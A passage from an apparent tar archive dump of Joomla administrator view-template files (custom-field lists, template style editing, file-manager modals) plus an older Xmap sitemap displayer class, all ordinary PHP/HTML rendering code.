                                                <a href="<?php echo Route::_('index.php?option=com_fields&task=field.edit&id=' . $item->id . '&context=' . $context); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                                    <?php echo $this->escape($item->title); ?></a>
                                            <?php else : ?>
                                                <?php echo $this->escape($item->title); ?>
                                            <?php endif; ?>
                                            <div class="small break-word">
                                                <?php if (empty($item->note)) : ?>
                                                    <?php echo Text::sprintf('JGLOBAL_LIST_NAME', $this->escape($item->name)); ?>
                                                <?php else : ?>
                                                    <?php echo Text::sprintf('JGLOBAL_LIST_NAME_NOTE', $this->escape($item->name), $this->escape($item->note)); ?>
                                                <?php endif; ?>
                                            </div>
                                            <?php if ($item->only_use_in_subform) : ?>
                                                <div class="small badge bg-secondary">
                                                    <?php echo Text::_('COM_FIELDS_FIELD_ONLY_USE_IN_SUBFORM_BADGE'); ?>
                                                </div>
                                            <?php elseif ($category) : ?>
                                                <div class="small">
                                                    <?php echo Text::_('JCATEGORY') . ': '; ?>
                                                    <?php $categories = FieldsHelper::getAssignedCategoriesTitles($item->id); ?>
                                                    <?php if ($categories) : ?>
                                                        <?php echo implode(', ', $categories); ?>
                                                    <?php else : ?>
                                                        <?php $category_ids = FieldsHelper::getAssignedCategoriesIds($item->id); ?>
                                                        <?php echo (in_array('-1', $category_ids)) ? Text::_('JNONE') : Text::_('JALL'); ?>
                                                    <?php endif; ?>
                                                </div>
                                            <?php endif; ?>
                                        </div>
                                    </th>
                                    <td class="small">
                                        <?php echo $this->escape($item->type); ?>
                                    </td>
                                    <td>
                                        <?php echo $this->escape($item->group_title); ?>
                                    </td>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $this->escape($item->access_level); ?>
                                    </td>
                                    <?php if (Multilanguage::isEnabled()) : ?>
                                        <td class="small d-none d-md-table-cell">
                                            <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                        </td>
                                    <?php endif; ?>
                                    <td class="d-none d-md-table-cell">
                                        <span><?php echo (int) $item->id; ?></span>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php
                    if (
                        $user->authorise('core.create', $component)
                        && $user->authorise('core.edit', $component)
                        && $user->authorise('core.edit.state', $component)
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                    'title' => Text::_('COM_FIELDS_VIEW_FIELDS_BATCH_OPTIONS'),
                                    'footer' => $this->loadTemplate('batch_footer')
                                ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
fields/default.xml000064400000001046151750476230010173 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_FIELDS_FIELDS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_FIELDS_FIELDS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="extension"
				type="ComponentsFields"
				label="COM_FIELDS_CHOOSE_CONTEXT_LABEL"
				required="true"
				addfieldprefix="Joomla\Component\Fields\Administrator\Field"
				>
				<option value="">COM_MENUS_OPTION_SELECT_CONTEXT</option>
			</field>
		</fields>
	</fieldset>
</metadata>
fields/modal.php000064400000014252151750476230007635 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

if (Factory::getApplication()->isClient('site')) {
    Session::checkToken('get') or die(Text::_('JINVALID_TOKEN'));
}

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_fields.admin-fields-modal');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$editor    = Factory::getApplication()->getInput()->get('editor', '', 'cmd');
?>
<div class="container-popup">

    <form action="<?php echo Route::_('index.php?option=com_fields&view=fields&layout=modal&tmpl=component&editor=' . $editor . '&' . Session::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm">

        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="fieldList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_FIELDS_FIELDS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_FIELDS_FIELD_GROUP_LABEL', 'g.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_FIELDS_FIELD_TYPE_LABEL', 'a.type', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $iconStates = [
                        -2 => 'icon-trash',
                        0  => 'icon-unpublish',
                        1  => 'icon-publish',
                        2  => 'icon-archive',
                    ];
                    foreach ($this->items as $i => $item) :
                        ?>
                    <tr class="row<?php echo $i % 2; ?>">
                        <td class="text-center">
                            <span class="tbody-icon">
                                <span class="<?php echo $iconStates[$this->escape($item->state)]; ?>" aria-hidden="true"></span>
                            </span>
                        </td>
                        <th scope="row" class="has-context">
                            <a class="btn btn-sm btn-success w-100" href="#" onclick="Joomla.fieldIns('<?php echo $this->escape($item->id); ?>', '<?php echo $this->escape($editor); ?>');"><?php echo $this->escape($item->title); ?></a>
                        </th>
                        <td class="small d-none d-md-table-cell">
                            <a class="btn btn-sm btn-warning w-100" href="#" onclick="Joomla.fieldgroupIns('<?php echo $this->escape($item->group_id); ?>', '<?php echo $this->escape($editor); ?>');"><?php echo $item->group_id ? $this->escape($item->group_title) : Text::_('JNONE'); ?></a>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $item->type; ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>

    </form>
</div>
default_class.php000060400000014670151750767570010116 0ustar00<?php
/**
* @version       $Id$
* @copyright     Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
* @license       GNU General Public License version 2 or later; see LICENSE.txt
* @author        Guillermo Vargas (guille@vargas.co.cr)
*/

// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_COMPONENT.'/displayer.php');

class XmapHtmlDisplayer extends XmapDisplayer {

    var $level = -1;
    var $_openList = '';
    var $_closeList = '';
    var $_closeItem = '';
    var $_childs;
    var $_width;
    var $live_site = 0;

    function __construct ($config, $sitemap) {
        $this->view = 'html';
        parent::__construct($config, $sitemap);
        $this->_parent_children=array();
        $this->_last_child=array();
        $this->live_site = substr_replace(JURI::root(), "", -1, 1);

        $user = JFactory::getUser();
    }

    function setJView($view)
    {
        parent::setJView($view);

        $columns = $this->sitemap->params->get('columns',0);
        if( $columns > 1 ) { // calculate column widths
            $total = count($view->items);
            $columns = $total < $columns? $total : $columns;
            $this->_width    = (100 / $columns) - 1;
            $this->sitemap->params->set('columns',$columns);
        }
    }

    /**
    * Prints one node of the sitemap
    *
    *
    * @param object $node
    * @return boolean
    */
    function printNode( &$node )
    {

        $out = '';

        if ($this->isExcluded($node->id,$node->uid) && !$this->canEdit) {
            return FALSE;
        }

        // To avoid duplicate children in the same parent
        if ( !empty($this->_parent_children[$this->level][$node->uid]) ) {
            return FALSE;
        }

        //var_dump($this->_parent_children[$this->level]);
        $this->_parent_children[$this->level][$node->uid] = true;

        $out .= $this->_closeItem;
        $out .= $this->_openList;
        $this->_openList = "";

        $out .= '<li>';

        if( !isset($node->browserNav) )
            $node->browserNav = 0;

        if ($node->browserNav != 3) {
            $link = JRoute::_($node->link, true, @$node->secure);
        }

        $node->name = htmlspecialchars($node->name);
        switch( $node->browserNav ) {
            case 1:        // open url in new window
                $ext_image = '';
                if ( $this->sitemap->params->get('exlinks') ) {
                    $ext_image = '&nbsp;<img src="'. $this->live_site .'/components/com_xmap/assets/images/'. $this->sitemap->params->get('exlinks') .'" alt="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" title="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" border="0" />';
                }
                $out .= '<a href="'. $link .'" title="'. htmlspecialchars($node->name) .'" target="_blank">'. $node->name . $ext_image .'</a>';
                break;

            case 2:        // open url in javascript popup window
                $ext_image = '';
                if( $this->sitemap->params->get('exlinks') ) {
                    $ext_image = '&nbsp;<img src="'. $this->live_site .'/components/com_xmap/assets/images/'. $this->sitemap->params->get('exlinks') .'" alt="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" title="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" border="0" />';
                }
                $out .= '<a href="'. $link .'" title="'. $node->name .'" target="_blank" '. "onClick=\"javascript: window.open('". $link ."', '', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550'); return false;\">". $node->name . $ext_image."</a>";
                break;

            case 3:        // no link
                $out .= '<span>'. $node->name .'</span>';
                break;

            default:       // open url in parent window
                $out .= '<a href="'. $link .'" title="'. $node->name .'">'. $node->name .'</a>';
                break;
        }

        $this->_closeItem = "</li>\n";
        $this->_childs[$this->level]++;
        echo $out;

        if ($this->canEdit) {
            if ( $this->isExcluded($node->id,$node->uid) ) {
                $img = '<img src="'.$this->live_site.'/components/com_xmap/assets/images/unpublished.png" alt="v" title="'.JText::_('JUNPUBLISHED').'">';
                $class= 'xmapexclon';
            } else {
                $img = '<img src="'.$this->live_site.'/components/com_xmap/assets/images/tick.png" alt="x" title="'.JText::_('JPUBLISHED').'" />';
                $class= 'xmapexcloff';
            }
            echo ' <a href= "#" class="xmapexcl '.$class.'" rel="{uid:\''.$node->uid.'\',itemid:'.$node->id.'}">'.$img.'</a>';
        }
        $this->count++;

        $this->_last_child[$this->level] = $node->uid;

        return TRUE;
    }

    /**
    * Moves sitemap level up or down
    */
    function changeLevel( $level ) {
        if ( $level > 0 ) {
            # We do not print start ul here to avoid empty list, it's printed at the first child
            $this->level += $level;
            $this->_childs[$this->level]=0;
            $this->_openList = "\n<ul class=\"level_".$this->level."\">\n";
            $this->_closeItem = '';

            // If we are moving up, then lets clean the children of this level
            // because for sure this is a new set of links
            if ( empty ($this->_last_child[$this->level-1]) || empty ($this->_parent_children[$this->level]['parent']) || $this->_parent_children[$this->level]['parent'] != $this->_last_child[$this->level-1] ) {
                $this->_parent_children[$this->level]=array();
                $this->_parent_children[$this->level]['parent'] = @$this->_last_child[$this->level-1];
            }
        } else {
            if ($this->_childs[$this->level]){
                echo $this->_closeItem."</ul>\n";
            }
            $this->_closeItem ='</li>';
            $this->_openList = '';
            $this->level += $level;
        }
    }

    function startMenu(&$menu) {
        if( $this->sitemap->params->get('columns') > 1 )            // use columns
            echo '<div style="float:left;width:'.$this->_width.'%;">';
        if( $this->sitemap->params->get('show_menutitle') )         // show menu titles
            echo '<h2 class="menutitle">'.$menu->name.'</h2>';
    }

    function endMenu(&$menu) {
        $sitemap=&$this->sitemap;
        $this->_closeItem='';
        if( $sitemap->params->get('columns')> 1 ) {
            echo "</div>\n";
        }
    }
}
style/edit_assignment.php000064400000005545151752357440011620 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Component\Menus\Administrator\Helper\MenusHelper;

// Initialise related data.
$menuTypes = MenusHelper::getMenuLinks();
$user      = Factory::getUser();

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_templates.admin-template-toggle-assignment');

?>
<label id="jform_menuselect-lbl" for="jform_menuselect"><?php echo Text::_('JGLOBAL_MENU_SELECTION'); ?></label>
<div class="btn-toolbar">
    <button class="btn btn-sm btn-secondary jform-rightbtn" type="button" onclick="Joomla.toggleAll()">
        <span class="icon-square" aria-hidden="true"></span> <?php echo Text::_('JGLOBAL_SELECTION_INVERT_ALL'); ?>
    </button>
</div>
<div id="menu-assignment" class="menu-assignment">
    <ul class="menu-links">

        <?php foreach ($menuTypes as &$type) : ?>
            <li>
                <div class="menu-links-block">
                    <button class="btn btn-sm btn-secondary jform-rightbtn mb-2" type="button" onclick='Joomla.toggleMenutype("<?php echo $type->menutype; ?>")'>
                        <span class="icon-square" aria-hidden="true"></span> <?php echo Text::_('JGLOBAL_SELECTION_INVERT'); ?>
                    </button>
                    <h5><?php echo $type->title ?: $type->menutype; ?></h5>

                    <?php foreach ($type->links as $link) : ?>
                        <label class="checkbox small" for="link<?php echo (int) $link->value; ?>" >
                        <input type="checkbox" name="jform[assigned][]" value="<?php echo (int) $link->value; ?>" id="link<?php echo (int) $link->value; ?>"<?php if ($link->template_style_id == $this->item->id) :
                            ?> checked="checked"<?php
                                                                               endif; ?><?php if ($link->checked_out && $link->checked_out != $user->id) :
    ?> disabled="disabled"<?php
                                                                               else :
                                                                                    ?> class="form-check-input chk-menulink menutype-<?php echo $type->menutype; ?>"<?php
                                                                               endif; ?> />
                        <?php echo LayoutHelper::render('joomla.html.treeprefix', ['level' => $link->level]) . $link->text; ?>
                        </label>
                    <?php endforeach; ?>

                </div>
            </li>
        <?php endforeach; ?>

    </ul>
</div>
style/edit.php000064400000011053151752357440007357 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$this->useCoreUI = true;

$user = Factory::getUser();
?>

<form action="<?php echo Route::_('index.php?option=com_templates&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="style-form" aria-label="<?php echo Text::_('COM_TEMPLATES_STYLE_FORM_EDIT'); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('JDETAILS')); ?>

        <div class="row">
            <div class="col-lg-9">
                <h2>
                    <?php echo Text::_($this->item->template); ?>
                </h2>
                <div class="info-labels">
                    <span class="badge bg-secondary">
                        <?php echo $this->item->client_id == 0 ? Text::_('JSITE') : Text::_('JADMINISTRATOR'); ?>
                    </span>
                </div>
                <div>
                    <p><?php echo Text::_($this->item->xml->description); ?></p>
                    <?php
                    $this->fieldset = 'description';
                    $description = LayoutHelper::render('joomla.edit.fieldset', $this);
                    ?>
                    <?php if ($description) : ?>
                        <p class="readmore">
                            <a href="#" onclick="document.querySelector('#tab-description').click();">
                                <?php echo Text::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
                            </a>
                        </p>
                    <?php endif; ?>
                </div>
                <?php
                $this->fieldset = 'basic';
                $html = LayoutHelper::render('joomla.edit.fieldset', $this);
                echo $html ? '<hr>' . $html : '';
                ?>
            </div>
            <div class="col-lg-3">
                <?php
                // Set main fields.
                $this->fields = [
                    'home',
                    'client_id',
                    'template'
                ];
                ?>
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
                <?php echo $this->form->renderField('inheritable'); ?>
                <?php echo $this->form->renderField('parent'); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if ($description) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
            <fieldset id="fieldset-description" class="options-form">
                <legend><?php echo Text::_('JGLOBAL_FIELDSET_DESCRIPTION'); ?></legend>
                <div>
                <?php echo $description; ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php
        $this->fieldsets = [];
        $this->ignore_fieldsets = ['basic', 'description'];
        echo LayoutHelper::render('joomla.edit.params', $this);
        ?>

        <?php if ($user->authorise('core.edit', 'com_menus') && $this->item->client_id == 0 && $this->canDo->get('core.edit.state')) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'assignment', Text::_('COM_TEMPLATES_MENUS_ASSIGNMENT')); ?>
            <fieldset id="fieldset-assignment" class="options-form">
                <legend><?php echo Text::_('COM_TEMPLATES_MENUS_ASSIGNMENT'); ?></legend>
                <div>
                <?php echo $this->loadTemplate('assignment'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
template/default_modal_folder_body.php000064400000005612151752357440014261 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$input = Factory::getApplication()->getInput();
?>
<div id="#template-manager-folder" class="container-fluid">
    <div class="mt-2 p-2">
        <div class="row">
            <div class="col-md-4">
                <div class="tree-holder">
                    <ul class="directory-tree treeselect root">
                        <li class="folder-select">
                            <a class="folder-url" data-id="" href="" data-base="template">
                                <span class="icon-folder icon-fw" aria-hidden="true"></span>
                                <?php echo ($this->template->client_id === 0 ? '/' : '/administrator/') . 'templates/' . $this->template->element; ?>
                            </a>
                            <?php echo $this->loadTemplate('folders'); ?>
                        </li>
                    </ul>
                    <?php if (count($this->mediaFiles)) : ?>
                        <ul class="directory-tree treeselect">
                            <li class="folder-select">
                                <a class="folder-url" data-id="" href="" data-base="media">
                                    <span class="icon-folder icon-fw" aria-hidden="true"></span>
                                    <?php echo '/media/templates/' . ($this->template->client_id === 0 ? 'site/' : 'administrator/') . $this->template->element; ?>
                                </a>
                                <?php echo $this->loadTemplate('media_folders'); ?>
                            </li>
                        </ul>
                    <?php endif; ?>
                </div>
            </div>
            <div class="col-md-8">
                <form method="post" action="<?php echo Route::_('index.php?option=com_templates&task=template.createFolder&id=' . $input->getInt('id') . '&file=' . $this->file); ?>">
                    <div class="form-group">
                        <label for="folder_name"><?php echo Text::_('COM_TEMPLATES_FOLDER_NAME'); ?></label>
                        <input type="text" name="name" id="folder_name" class="form-control" required>
                        <input type="hidden" class="address" name="address">
                        <input type="hidden" name="isMedia" value="0">
                        <?php echo HTMLHelper::_('form.token'); ?>
                    </div>
                    <button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_BUTTON_CREATE'); ?></button>
                </form>
            </div>
        </div>
    </div>
</div>
template/default_modal_delete_body.php000064400000001075151752357440014247 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div id="template-manager-delete" class="container-fluid">
    <div class="mt-2">
        <div class="col-md-12">
            <p><?php echo Text::sprintf('COM_TEMPLATES_MODAL_FILE_DELETE', str_replace('//', '/', $this->fileName)); ?></p>
        </div>
    </div>
</div>
template/default_modal_delete_footer.php000064400000001775151752357440014617 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$input = Factory::getApplication()->getInput();
?>
<form method="post" action="">
    <input type="hidden" name="option" value="com_templates">
    <input type="hidden" name="task" value="template.delete">
    <input type="hidden" name="id" value="<?php echo $input->getInt('id'); ?>">
    <input type="hidden" name="file" value="<?php echo $this->file; ?>">
    <?php echo HTMLHelper::_('form.token'); ?>
    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
    <button type="submit" class="btn btn-danger"><?php echo Text::_('COM_TEMPLATES_BUTTON_DELETE'); ?></button>
</form>
template/default_media_folders.php000064400000002030151752357440013401 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Legacy is the default
if (!count($this->mediaFiles)) {
    return;
}

ksort($this->mediaFiles, SORT_STRING);
?>
<ul class="directory-tree treeselect">
    <?php foreach ($this->mediaFiles as $key => $value) : ?>
        <?php if (is_array($value)) : ?>
            <li class="folder-select">
                <a class="folder-url" data-id="<?php echo base64_encode($key); ?>" href="" data-base="media">
                    <span class="icon-folder icon-fw" aria-hidden="true"></span>
                    <?php $explodeArray = explode('/', rtrim($key, '\\'));
                    echo $this->escape(end($explodeArray)); ?>
                </a>
                <?php echo $this->mediaFolderTree($value); ?>
            </li>
        <?php endif; ?>
    <?php endforeach; ?>
</ul>
template/default_modal_folder_footer.php000064400000002076151752357440014623 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$input = Factory::getApplication()->getInput();
?>
<form id="deleteFolder" method="post" action="<?php echo Route::_('index.php?option=com_templates&task=template.deleteFolder&id=' . $input->getInt('id') . '&file=' . $this->file); ?>">
    <fieldset>
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
        <input type="hidden" class="address" name="address">
        <input type="hidden" name="isMedia" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
        <button type="submit" class="btn btn-danger"><?php echo Text::_('COM_TEMPLATES_BUTTON_DELETE'); ?></button>
    </fieldset>
</form>
template/default_tree.php000064400000003727151752357440011561 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

?>

<ul class="directory-tree treeselect">
    <?php foreach ($this->files as $key => $value) : ?>
        <?php if (is_array($value)) : ?>
            <?php
            $keyArray  = explode('/', rtrim($key, '\\'));
            $fileArray = explode('/', $this->fileName);
            $count     = 0;

            $keyArrayCount = count($keyArray);

            if (count($fileArray) >= $keyArrayCount) {
                for ($i = 0; $i < $keyArrayCount; $i++) {
                    if ($keyArray[$i] === $fileArray[$i]) {
                        $count++;
                    }
                }

                if ($count === $keyArrayCount) {
                    $class = 'folder show';
                } else {
                    $class = 'folder';
                }
            } else {
                $class = 'folder';
            }

            ?>
            <li class="<?php echo $class; ?>">
                <a class="folder-url" href="">
                    <span class="icon-folder icon-fw" aria-hidden="true"></span>&nbsp;<?php $explodeArray = explode('/', $key);
                    echo $this->escape(end($explodeArray)); ?>
                </a>
                <?php echo $this->directoryTree($value); ?>
            </li>
        <?php endif; ?>
        <?php if (is_object($value)) : ?>
            <li>
                <a class="file" href='<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $this->id . '&file=' . $value->id . '&isMedia=0'); ?>'>
                    <span class="icon-file-alt" aria-hidden="true"></span>&nbsp;<?php echo $this->escape($value->name); ?>
                </a>
            </li>
        <?php endif; ?>
    <?php endforeach; ?>
</ul>
template/default_modal_rename_body.php000064400000002116151752357440014251 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Language\Text;

?>
<div id="template-manager-rename" class="container-fluid">
    <div class="mt-2">
        <div class="col-md-12">
            <div class="control-group">
                <div class="control-label">
                    <label for="new_name">
                        <?php echo Text::_('COM_TEMPLATES_NEW_FILE_NAME')?>
                    </label>
                </div>
                <div class="controls">
                    <div class="input-group">
                        <input class="form-control" type="text" name="new_name" id="new_name" required>
                        <span class="input-group-text">.<?php echo File::getExt($this->fileName); ?></span>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
template/default_modal_copy_footer.php000064400000001043151752357440014313 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_COPY'); ?></button>
template/default_description.php000064400000002023151752357440013131 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\Component\Templates\Administrator\Helper\TemplatesHelper;

?>

<div class="clearfix">
    <div class="float-start me-3 text-center">
        <?php echo HTMLHelper::_('templates.thumb', $this->template); ?>
        <?php echo HTMLHelper::_('templates.thumbModal', $this->template); ?>
    </div>
    <h2><?php echo ucfirst($this->template->element); ?></h2>
    <?php $client = ApplicationHelper::getClientInfo($this->template->client_id); ?>
    <p><?php $this->template->xmldata = TemplatesHelper::parseXMLTemplateFile($client->path, $this->template->element); ?></p>
    <p><?php echo Text::_($this->template->xmldata->get('description')); ?></p>
</div>
template/default_modal_rename_footer.php000064400000001043151752357440014610 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
